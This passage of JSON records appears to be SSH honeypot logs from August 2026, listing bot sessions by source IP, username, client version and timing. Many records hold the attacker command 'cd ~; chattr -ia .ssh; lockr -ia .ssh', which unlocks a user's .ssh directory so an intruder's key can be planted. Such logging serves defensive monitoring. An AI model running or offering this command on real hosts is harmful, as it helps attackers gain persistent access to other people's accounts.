  "ended_at": "2026-08-25T20:08:09.233318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c335481-a1b3-429d-bf9a-2c21692a5999",
  "name": "graceful-meadow-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.191.239.155",
  "src_port": 35724,
  "username": "kevin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:05:53.837677+00:00",
  "ended_at": "2026-08-25T20:05:54.477751+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2311
 },
 {
  "id": "a60e1a70-f7b7-46fe-be8b-fac7b0c20df1",
  "name": "alpine-misty-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.191.239.155",
  "src_port": 35734,
  "username": "kevin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:05:49.066451+00:00",
  "ended_at": "2026-08-25T20:05:49.637060+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78f868ca-6a03-4547-84c1-565c599ef672",
  "name": "humble-daring-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.191.239.155",
  "src_port": 35726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:05:47.775162+00:00",
  "ended_at": "2026-08-25T20:05:48.925851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97698eff-26fd-483a-afc7-fc2c4f06b0dc",
  "name": "ancient-tranquil-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "185.158.22.150",
  "src_port": 32670,
  "username": "mega",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:00:52.318042+00:00",
  "ended_at": "2026-08-25T20:00:52.476609+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3539
 },
 {
  "id": "dc1092a2-eecb-4429-8da7-52e46795e1fe",
  "name": "seaward-marbled-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.191.239.155",
  "src_port": 51730,
  "username": "paco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:00:52.220431+00:00",
  "ended_at": "2026-08-25T20:00:53.126282+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6cc6e643-2768-4af7-94bf-525aac78b334",
  "name": "cobalt-bronzed-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 27270,
  "username": "mega",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:00:35.815768+00:00",
  "ended_at": "2026-08-25T20:00:36.074467+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38564a86-182a-4b23-bb24-0dc1bfe4b53f",
  "name": "weathered-courtly-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 29491,
  "username": "mega",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:00:21.315113+00:00",
  "ended_at": "2026-08-25T20:00:23.039012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "400e355e-3d22-4db5-acab-ca26b88fa0bd",
  "name": "earnest-honest-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "106.58.173.254",
  "src_port": 60768,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:00:20.941435+00:00",
  "ended_at": "2026-08-25T20:04:21.473678+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "9401ba9a-3d20-49bf-bbaf-bedb7fd93993",
  "name": "knotted-loyal-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 1723,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:00:18.781787+00:00",
  "ended_at": "2026-08-25T20:00:20.259654+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ab389f2-2ab3-4d81-b9ca-0b4d742dd8ff",
  "name": "lunar-orderly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.174.238.116",
  "src_port": 48254,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:00:06.348189+00:00",
  "ended_at": "2026-08-25T20:00:06.453476+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3214
 },
 {
  "id": "8d8264eb-ea47-4bbe-b7f7-8c58bbcf886d",
  "name": "flinty-shifting-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.174.238.116",
  "src_port": 50968,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:59:51.145724+00:00",
  "ended_at": "2026-08-25T19:59:51.525399+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3753425f-a8d3-4f96-9148-d81146e15199",
  "name": "keen-umber-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.174.238.116",
  "src_port": 48884,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:59:39.520614+00:00",
  "ended_at": "2026-08-25T19:59:40.583265+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff78a640-2aa0-4906-a2d0-a700abb8c9ec",
  "name": "wistful-obsidian-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.174.238.116",
  "src_port": 48572,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:59:37.559880+00:00",
  "ended_at": "2026-08-25T19:59:38.845532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "363f34e1-fc48-42df-a921-01e431b5c77e",
  "name": "wandering-coastal-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "124.156.173.135",
  "src_port": 51870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:55:06.836657+00:00",
  "ended_at": "2026-08-25T19:55:07.041931+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3981
 },
 {
  "id": "89a4ab21-056a-4cc5-a4a7-953dc032b932",
  "name": "oaken-vigilant-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "124.156.173.135",
  "src_port": 41306,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:54:48.203857+00:00",
  "ended_at": "2026-08-25T19:54:48.541393+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70e88cf4-02fa-423f-a84f-e35305e39143",
  "name": "whispering-nameless-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "124.156.173.135",
  "src_port": 53842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:54:31.678577+00:00",
  "ended_at": "2026-08-25T19:54:33.021936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1603c6ff-b974-46b0-bbc6-e1b589be45e9",
  "name": "mottled-amber-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "124.156.173.135",
  "src_port": 53832,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:54:29.520674+00:00",
  "ended_at": "2026-08-25T19:54:30.330495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cb965bd-ccac-4fcb-a146-078a680bfd99",
  "name": "emerald-austere-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.190.51.254",
  "src_port": 45350,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 100,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:52:48.798094+00:00",
  "ended_at": "2026-08-25T19:52:48.815144+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3356
 },
 {
  "id": "7dccf8c4-c79f-4315-a8e7-7788e3435bd8",
  "name": "daring-mellow-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.190.51.254",
  "src_port": 57984,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:52:37.265016+00:00",
  "ended_at": "2026-08-25T19:52:37.425653+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5927c399-f89f-49b3-b058-16e3f696c9d9",
  "name": "lawful-crimson-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.190.51.254",
  "src_port": 45364,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:52:30.508830+00:00",
  "ended_at": "2026-08-25T19:52:32.286269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "987daa80-2646-4c08-b627-341797126a61",
  "name": "plucky-thawing-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.190.51.254",
  "src_port": 45358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:52:23.809717+00:00",
  "ended_at": "2026-08-25T19:52:25.236867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b5df76a-d4dd-41d2-abaa-eea5328df9ab",
  "name": "serene-marbled-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "106.58.173.254",
  "src_port": 37676,
  "username": "max",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T19:10:12.097854+00:00",
  "ended_at": "2026-08-25T19:14:12.106231+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "b5326096-2b77-48e8-bdd6-0d7bfe11427d",
  "name": "languid-glassy-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "106.58.173.254",
  "src_port": 60938,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:07:04.641698+00:00",
  "ended_at": "2026-08-25T19:08:03.382250+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0835e1bc-6be9-4a80-bbc9-f610932e6744",
  "name": "lunar-vernal-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.128.3.201",
  "src_port": 53096,
  "username": "test1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 672,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T18:49:44.037854+00:00",
  "ended_at": "2026-08-25T18:49:44.247737+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3452
 },
 {
  "id": "4bbacd7c-7c96-4e54-910d-298396811367",
  "name": "gleaming-balmy-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.128.3.201",
  "src_port": 60522,
  "username": "test1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:49:24.535149+00:00",
  "ended_at": "2026-08-25T18:49:24.913900+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ee89770-2a2e-4bca-82e0-cfee6ee3cad4",
  "name": "golden-scarlet-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.128.3.201",
  "src_port": 34060,
  "username": "test1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:49:08.367137+00:00",
  "ended_at": "2026-08-25T18:49:10.059741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ffefd332-4a58-4e91-b455-f3043af27c0a",
  "name": "gleaming-knotted-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.128.3.201",
  "src_port": 53108,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:49:05.941568+00:00",
  "ended_at": "2026-08-25T18:49:07.007622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f6144e3-d945-48db-8337-8c67966dd40c",
  "name": "russet-windswept-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.128.3.201",
  "src_port": 40478,
  "username": "facturacion",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:42:07.313822+00:00",
  "ended_at": "2026-08-25T18:42:09.197742+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02a89e4b-0910-4990-96c9-bce5bab983df",
  "name": "restless-vigilant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "216.10.242.215",
  "src_port": 49222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T12:51:28.687254+00:00",
  "ended_at": "2026-08-25T12:51:28.877929+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3437
 },
 {
  "id": "6d023d6b-8ab3-496a-938e-698374cb9739",
  "name": "reedy-jolly-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 33020,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:51:07.388276+00:00",
  "ended_at": "2026-08-25T12:51:07.774499+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "481af4fe-c506-4584-a971-c4d9b5cae8f9",
  "name": "sooty-thorny-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 44330,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:50:50.981999+00:00",
  "ended_at": "2026-08-25T12:50:52.511331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75a63576-aa61-4679-b54c-b6cabb9be46b",
  "name": "gentle-shaded-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 44314,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:50:47.836469+00:00",
  "ended_at": "2026-08-25T12:50:49.726789+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a45afa1f-c5dd-4d64-8983-d2e206e0cc72",
  "name": "orderly-painted-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 57126,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:48:17.428571+00:00",
  "ended_at": "2026-08-25T12:48:18.347326+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca2d066a-fd67-4467-a998-66bda1d5b7f8",
  "name": "lanky-ashen-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 50104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:45:54.957273+00:00",
  "ended_at": "2026-08-25T12:45:56.976959+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7c4212e-b7a0-4f7a-87dc-aa5ab3a715af",
  "name": "twilight-tawny-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "216.10.242.215",
  "src_port": 37430,
  "username": "dream",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:38:43.789281+00:00",
  "ended_at": "2026-08-25T12:38:45.469838+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e94bbb20-9ab1-4579-83a3-b31d8d25d26c",
  "name": "snowy-prickly-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "185.158.22.150",
  "src_port": 51641,
  "username": "eric",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T12:00:45.324526+00:00",
  "ended_at": "2026-08-25T12:00:45.482622+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3891
 },
 {
  "id": "f9fdf080-0c81-4840-a75f-93144016f2ed",
  "name": "freckled-flinty-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 12427,
  "username": "eric",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:00:27.426018+00:00",
  "ended_at": "2026-08-25T12:00:27.770823+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5d97e73-e332-41a3-a1e3-e110e5488e74",
  "name": "emerald-flinty-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 22117,
  "username": "eric",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:00:13.856843+00:00",
  "ended_at": "2026-08-25T12:00:14.802555+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fe8356e-30f9-4446-a451-82b92940e727",
  "name": "twilight-wistful-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 36755,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:00:11.295285+00:00",
  "ended_at": "2026-08-25T12:00:12.813945+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b627994a-920c-41f8-b246-425b3736ff36",
  "name": "forlorn-brisk-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 56112,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:57:49.971952+00:00",
  "ended_at": "2026-08-25T11:57:51.691670+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19b2f198-5c55-4d9f-b6f8-b21c7a8b0536",
  "name": "graceful-tender-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.158.22.150",
  "src_port": 27251,
  "username": "fivem",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:55:01.522057+00:00",
  "ended_at": "2026-08-25T11:55:03.524273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d13072a-6392-4350-afe1-812235e2a9f0",
  "name": "solar-primal-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 55168,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:33:19.087108+00:00",
  "ended_at": "2026-08-25T11:34:17.741657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce685590-aa12-4aca-98f3-cdcb79edbe18",
  "name": "prickly-grumpy-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 49692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:32:53.012581+00:00",
  "ended_at": "2026-08-25T11:36:53.537173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a8b7f46-0dab-414f-a2bd-fa7d7a186908",
  "name": "frank-rugged-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 37330,
  "username": "hieu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:29:19.824883+00:00",
  "ended_at": "2026-08-25T11:33:19.995903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a948ff8-6958-4543-ad90-918f982d45ac",
  "name": "downy-brazen-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 40840,
  "username": "mingming",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:22:22.682442+00:00",
  "ended_at": "2026-08-25T11:26:23.273214+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "5849be1f-78f3-421b-8e21-8908f88c7fd9",
  "name": "lanky-cosmic-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 56702,
  "username": "openemm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:18:53.105542+00:00",
  "ended_at": "2026-08-25T11:22:53.402250+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "95ba9bdf-555e-44e6-9201-86d57c80d7fe",
  "name": "languid-frugal-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 44328,
  "username": "qadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:15:20.751366+00:00",
  "ended_at": "2026-08-25T11:19:20.785638+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "ed972a16-af6f-497d-afea-b36402c938e9",
  "name": "meadow-deft-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 60200,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:11:53.722722+00:00",
  "ended_at": "2026-08-25T11:15:54.047652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0edee1f6-c125-4bb5-8dfd-c1b37a4fc167",
  "name": "leafy-keen-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 46600,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:09:45.835620+00:00",
  "ended_at": "2026-08-25T11:09:45.928858+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3739
 },
 {
  "id": "7fb3af0e-60d6-4773-88fc-b9713f80fb92",
  "name": "dusty-proud-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
